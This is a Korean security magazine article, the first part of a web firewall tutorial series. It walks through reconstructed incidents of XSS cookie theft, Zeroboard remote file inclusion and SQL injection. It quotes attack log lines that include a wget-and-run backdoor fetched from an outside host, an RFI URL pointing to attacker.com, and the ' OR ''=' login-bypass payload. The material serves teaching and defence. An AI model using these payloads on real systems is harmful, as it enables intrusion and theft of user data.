[웹 파이어월 강좌 1] 웹 애플리케이션 보안의 문제점

출처 : http://www.ionthenet.co.kr/newspaper/view.php?idx=10802

[웹 파이어월 강좌 1] 웹 애플리케이션 보안의 문제점

급격히 늘어나고 있는 웹 해킹 사고로 인해 많은 기업과 개인이 피해를 입으면서 점차 웹 애플리케이션의 보안에 대한 관심이 높아지고 있다. 웹 페이지 변조에서부터 명의 도용, 개인 신상 정보 유출 등 다양한 방식의 위협이 등장하면서 사용자에게 심각한 피해를 주고 있다. 이같은 웹 애플리케이션 보안의 문제점을 사례를 통해 알아보자.

이종일 | 파이오링크 연구소 아테나팀 과장

지난 2005년은 국내에서 가장 많이 사용되는 게시판 프로그램의 취약점으로 인해서 그 게시판을 사용하는 수많은 웹사이트가 해킹을 당했다는 소식과 함께 새해를 맞이했다. 그리고 사이버 독도 사이트가 일본 해커들에게 해킹을 당해 독도는 일본땅이라는 내용을 담고 있었다던가 하는 유명 웹사이트 변조와 개인정보 유출과 같은 뉴스가 작년 내내 끊이지 않았다.
올해도 어김없이 새해 벽두부터 중국 해커들에 의해 국내 금융기관의 홈페이지가 해킹을 당했고, 정부기관의 산하단체가 해킹을 당해 악성코드를 유포하고 있다는 소식이 들려오고 있다.
인터넷 서비스의 대부분을 차지하고 있는 웹, 가트너가 발표한 자료에 의하면 이같은 웹에 대한 공격의 75%가 웹 애플리케이션에 대한 공격일 정도로 웹 애플리케이션 보안의 중요성이 높아지고 있다.
앞으로 3회에 걸쳐 웹 애플리케이션 보안 기술에 관해 다뤄보겠다. 실제로 발생하고 있는 웹 애플리케이션 해킹의 주요 사례부터 시작해, 해커들이 주로 사용하는 실제적인 웹 애플리케이션 해킹 기술들에 대해서 소개하도록 하겠다. 그리고 마지막으로는 최근 떠오르고 있는 웹 애플리케이션 파이어월의 주요 기술까지 살펴보겠다.
먼저 이번에는 웹 애플리케이션 해킹의 주요 시나리오를 살펴봄으로써 웹 애플리케이션 해킹을 통해서 어떤 일이 일어날 수 있는지를 알아보고, 웹 애플리케이션 보안이 왜 중요한지를 고민해보자.

크로스 사이트 스크립팅을 통한 세션 가로채기
어느 따뜻한 봄날 아침, A 대학의 학과장인 L모 교수는 커피 한잔을 마시면서 학교의 교내게시판에 올려져 있는 다양한 학생들의 글을 모니터링하고 있었다.
잠시 후, L모 교수는 강의 시간이 되어 컴퓨터 앞을 떠났다. 다음날 A 대학은 L모 교수가 전교직원들이 이용하는 교내 게시판에 올려놓은 온갖 음담패설과 각종 정치적인 발언들로 인해 발칵 뒤집혔다.
A 대학은 즉시 인사위원회를 구성해 진상조사에 착수했는데, 게시글의 작성을 부인한 L모 교수는 게시글이 작성되는 시간에 강의를 하고 있었다는 강력한 알리바이를 갖고 있었다. 해킹과 관련돼 있다는 사실을 직감한 인사위원회는 경찰청 사이버범죄수사대에 수사를 의뢰했다.
사건이 발생한 교내 게시판을 조사한 사이버범죄수사대는 이 사건을 크로스 사이트 스크립팅(Cross Site Scripting, 이하 XSS)에 의한 세션 가로채기로 결론 내렸다. 사건의 전모는 다음과 같다.
L모 교수가 교내 게시판에서 읽은 글 중 하나에는 다음과 같은 내용이 포함돼 있었다.

그리고, xxx.xxx.xxx.190에 있는 컴퓨터를 압수 수색해 찾아낸 access_log에는 다음과 같은 로그가 남겨져 있었다.

xxx.xxx.xxx.11 - - [16/Jan/2006:18:25:59 +0900] "GET /?url=http://xxx.xxx.xxx.10/bbs/show.cgi?Num=1000&cookie=JSESSIONID=6B5663D0DA98E9912B17E69C1ABAE6A4 HTTP/1.1" 200 75 " http://xxx.xxx.xxx.10/bbs/show.cgi?Num=1000" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

크로스 사이트 스크립팅을 통해 사용자가 접속한 URL 정보와 쿠키 정보를 해커가 접근할 수 있는 시스템으로 전송하도록 조작된 스크립트가 실행됐던 것이다. L모 교수가 로그인에 성공한 후 생성된 세션 쿠키가 그대로 해커에게 전송됐기 때문에, 해커는 이 세션 쿠키를 통해 로그인 절차 없이 바로 L모 교수의 권한으로 교내 게시판에 접근할 수 있었다.
이 악성 스크립트는 HTML에 사용되는 가짜 이미지 링크를 요청하는 방식으로 해커에게 정보를 전달했기 때문에, L모 교수는 자신의 쿠키 정보가 유출되는 그 시간에 (화면 1)과 같은 화면을 봤지만, 누군가가 링크해 놓은 이미지가 지워졌을 것으로 생각하고 아무 의심없이 넘어간 것이다.

(화면 1) 가짜 이미지 링크 요청 방식으로 숨겨진 스크립트

크로스 사이트 스크립팅은 피해자가 신뢰해서 스크립트의 실행을 허용한 사이트에 악의적인 사용자가 악성 스크립트를 삽입해, 신뢰받는 사이트와 같은 보안정책으로 실행되도록 하는 공격 방법이다.
(화면 2)와 같은 게시판이 있다. 여기에 다음과 같이 스크립트를 게시글에 포함시켜 포스팅한다.

(화면 2) 스크립트 작성 예

그러면, (화면 3)과 같이 Hello, World!라는 제목의 글이 게시판에 성공적으로 추가된 것을 확인할 수 있다.

(화면 3) 게시판에 표시되는 스크립트가 숨겨진 글

만약 다른 사용자가 Hello, World! 라는 제목의 글을 클릭해 글을 읽으면, (화면 4)와 같이 삽입한 스크립트가 실행된다.

(화면 4) 숨겨진 스크립트가 실행된다

이는 XSS의 가장 기본적인 예제다. 여기서 실행되는 스크립트가 아니라 해커가 심어놓은 악성 스크립트라면 사용자는 큰 피해를 입을 수 있다.

게시판의 버그로 인한 웹 페이지 변조
어느 화창한 월요일 아침, B 시청의 네트워크 관리자인 L모씨는 국가사이버안전센터로부터 한 통의 전화를 받는다. 홈페이지 변조 기록을 등록하는 사이트(Zone-H.org)에 자신이 근무하는 시청이 해킹된 것으로 등록됐다는 청천벽력과 같은 소식이었다.
즉시 해킹됐다는 서버의 주소에 접속해보니, 우리나라를 비하하는 내용으로 가득 차 있었고, 아래에는 일본 해킹 그룹의 로고가 빙글빙글 돌아가고 있었다. 자존심에 심각한 상처를 입은 L모씨는 즉시 조사에 들어갔다. 웹 서버의 접근 기록에는 다음과 같은 내용이 들어있었다.

xxx.xxx.xxx.225 - - [2/Jan/2006:03:24:10+0900] "GET /achievement/include/write.php?dir=http://bysteam.100free.com/tool25.dat?&cmd=cd%20..;cd%20..;touch%20x HTTP/1.1" 200 9739 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

xxx.xxx.xxx.225 - - [2/Jan/2005:03:25:25+0900] "GET /achievement/include/write.php?dir=http://bysteam.100free.com/tool25.dat?&cmd=cd%20/var/tmp/;wget%20cdzr0x.zip.net/dc.pl.htm;perl%20dc.pl.htm%20xxx.xxx.xxx.225%2015 HTTP/1.1" 200 9920 "-" "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1)"

/achievement/include/write.php에 접속해보니, 국내에서 제일 많이 사용한다는 유명 게시판이었다. 로그 형태로 봤을 때 게시판의 write.php에 문제가 발생했고, 해커들이 이 문제를 이용해서 무언가를 실행한 것 같았다.
보안 사이트를 좀 검색해보니, 이 게시판의 write.php 취약점이 발표돼 있는데, 아직 개발업체에서는 패치를 제공하지 않고 있는 상태였다. 바로 제로데이 공격(Zero-day attack) 상황인 것이다.
취약점과 로그를 조금 더 분석해보니 해커가 write.php의 취약점을 이용해 외부의 악성 스크립트(bysteam.100free.com/tool25.dat)를 실행하고, cdzr0x.zip.net에 있는 dc.pl.htm을 다운로드 받아서 실행시켰다. 악성 코드로 보이는 dc.pl.htm은 파이어월을 우회하기 위해 내부에서 외부에 있는 해커의 호스트로 접속하기 위한 백도어 프로그램으로 밝혀졌다. 결국 해커는 이 백도어를 통해서 홈페이지를 변조한 것이다.

제로보드 DIR 매개변수 원격 파일 포함 취약점
2004년도 말부터 2005년 초까지 약 7000개 이상의 웹 서버 해킹 사고를 불러일으켰던 제로보드에는 다음과 같은 코드가 존재했다.

1 "; }1011 // 비밀글 사용;12 if(!$setup[use_secret]) { $hide_secret_start=""; }1314 // 공지기능 사용하는지 하지 않는지 표시;15 if(!$is_admin||$mode=="reply") { $hide_notice_start=""; }16 include $dir."/write.php";

그런데 이 ‘dir’ 매개변수를 PHP의 ‘include()’ 함수 호출에 사용하기 전에 초기화를 하지 않는 취약점이 존재했다. 만약 사용자가 dir에 값을 설정하면 사용자가 원하는 코드가 포함된다.

http://www.victim.com/include/write.php?dir=http://www.attacker.com/malware

이같은 요청을 취약한 웹 서버에 보내면, dir이 해커가 제공한 값으로 설정되고, 이것이 include에 삽입돼 코드가 실행된다.

SQL 삽입 공격을 통한 신용카드 정보 유출
어느 조용한 월요일 새벽 PC방, S모군은 HTTP 프록시(화면 5)를 실행한 상태에서 평소 눈여겨둔 허름한 온라인 쇼핑몰 사이트에 접속했다. 이 쇼핑몰 사이트는 S모군의 경험으로 추측해 봤을 때 개발자 겸 CEO가 열심히 공부를 해가면서 만들어가는 SOHO 사이트임에 틀림없어 보였다.

(화면 5) HTTP 프록시

S모군의 눈에 이 사이트가 더욱 매력적으로 보였던 것은 최근에 새로 추가된 '자주 사용하는 신용카드 저장 기능' 때문이었다.
몇가지 테스트를 해본 후에 이 사이트는 SQL 삽입 공격에 대한 대비가 전혀 안돼 있음을 깨달은 S모군은 사이트의 ‘내 정보 보기’ 기능에 (화면 6)과 같이 사용자 ID가 전달된다는 사실을 알아냈다.

(화면 6) 내 정보 보기에서 전달되는 사용자 ID

S모군은 (화면 7)과 같은 테스트 코드를 HTTP 프록시의 수동 요청 생성기를 통해서 입력해 봤다.

(화면 7) HTTP 프록시를 이용한 테스트 코드 입력

그랬더니 (화면 8)과 같이 신용카드 정보를 포함한 사용자 정보가 한꺼번에 표시됐다.

(화면 8) 사용자 정보의 유출 예

S모군도 이런 갑작스러운 결과에 너무나 당황스러웠다. 이 사이트의 사용자 정보 보기에 사용된 SQL 쿼리에는 다음과 같은 코드가 사용됐던 것이다.

"SELECT * FROM UserData WHERE userid = '" & account_name & "'"

S모군이 입력한 account_name = ' OR ''='때문에 모든 사용자에 대한 정보가 유출되고 말았다. 잠시 후 S모군은 너무나 손쉬웠던 오늘의 수확을 손에 든 채 PC방 문을 열고 유유히 사라졌다.

SQL 삽입 공격
웹 페이지 등을 통해서 입력에 SQL 쿼리나 명령 등을 삽입하는 기법이다. 대부분의 웹 애플리케이션들은 사용자로부터 받은 입력을 사용해 데이터베이스에 SQL 쿼리를 전송한다. SQL 삽입(Injection) 공격을 사용하면, 웹 애플리케이션에서 데이터베이스로 보내는 SQL 쿼리를 조작해 개발자가 의도하지 않은 결과를 이끌어낼 수 있다.
SQL 삽입 공격을 설명할 때 흔히 사용하는 예제이지만, 제일 가슴에 와 닿는 예제이니만큼 필자도 SQL 삽입을 사용해 인증을 통과하는 방법이다.
(화면 9)와 같은 로그인 페이지가 있다.

(화면 9) 일반적인 로그인 페이지

이 로그인 페이지의 프로그램이 다음과 같다고 가정하자.

Query = "SELECT User FROM UserTable WHERE User = '" & strUser & "' AND Passwd = '" & strPasswd & "'"
strAuthUser = DoQuery(Query)

사용자로부터 받은 사용자명(strUser)과 비밀번호(strPasswd)를 사용해서 일치하는 사용자명을 받아오는 프로그램이다.
프로그래머는 사용자가 사용자명과 비밀번호를 정상적으로 입력할 것이라고 가정했지만, 만약 사용자가 사용자명과 비밀번호에 ' OR ''='를 입력하면, 이같은 쿼리는 (화면 10)과 같이 조작된다.

(화면 10) ' OR ''='를 이용한 쿼리 조작

SELECT User From UserTable WHERE User = '' OR ''='' AND Passwd = '' OR ''=''

실제 데이터베이스 테이블의 사용자명과 비밀번호가 무엇이던지 간에 OR ''=''라는 구문으로 인해 항상 참이 되는 질의가 되고 만다. 따라서 악의적인 사용자는 애플리케이션의 인증 과정을 건너뛸 수 있다.

웹 애플리케이션 보안의 중요성
앞에서 설명한 세가지 시나리오는 가상으로 만들어졌지만, 실제 발생했던 해킹 사건을 기반으로 재구성한 것이다. 뉴스를 통해 전해지는 다수의 웹 해킹들은 이같은 시나리오와 유사한 과정을 통해 이뤄지고 있다.
전자상거래를 수익모델로 하는 회사에서 고객의 주요 정보를 유출당하는 사건이 발생하거나, 자신의 계정을 도용당해 정신적, 물질적 손해를 입는 사례, 홈페이지에 설치한 오픈 소스 기반의 소프트웨어 때문에 해킹을 당해 기관의 명예가 실추되는 등의 일은 굳이 실례를 들지 않아도 이미 독자들도 많이 접해 보았을 것이다.
이같은 시나리오에서 나왔던 피해자들은 특별히 해킹을 당할만큼 큰 실수를 하지 않았지만 해커에게 피해를 입고 말았다. 이 피해자들이 이 글을 읽고 있는 독자들이 되지 말라는 법은 어디에도 없다. 계정을 도용당해 손가락질 받는다거나, 사이트의 홈페이지가 변조됐다는 사실을 통보 받는 관리자라면 쥐구멍부터 찾고 싶을 것이다. 더구나 공들여 만든 쇼핑몰의 고객 정보가 유출돼 책임을 지게 된다는 것은 생각만해도 끔찍한 일이 될 것이다.
다음 연재에서는 웹 애플리케이션 해킹에 사용되는 주요 공격 방법을 조금 더 상세하게 다뤄보고, 그에 대한 대응책을 고민해보자.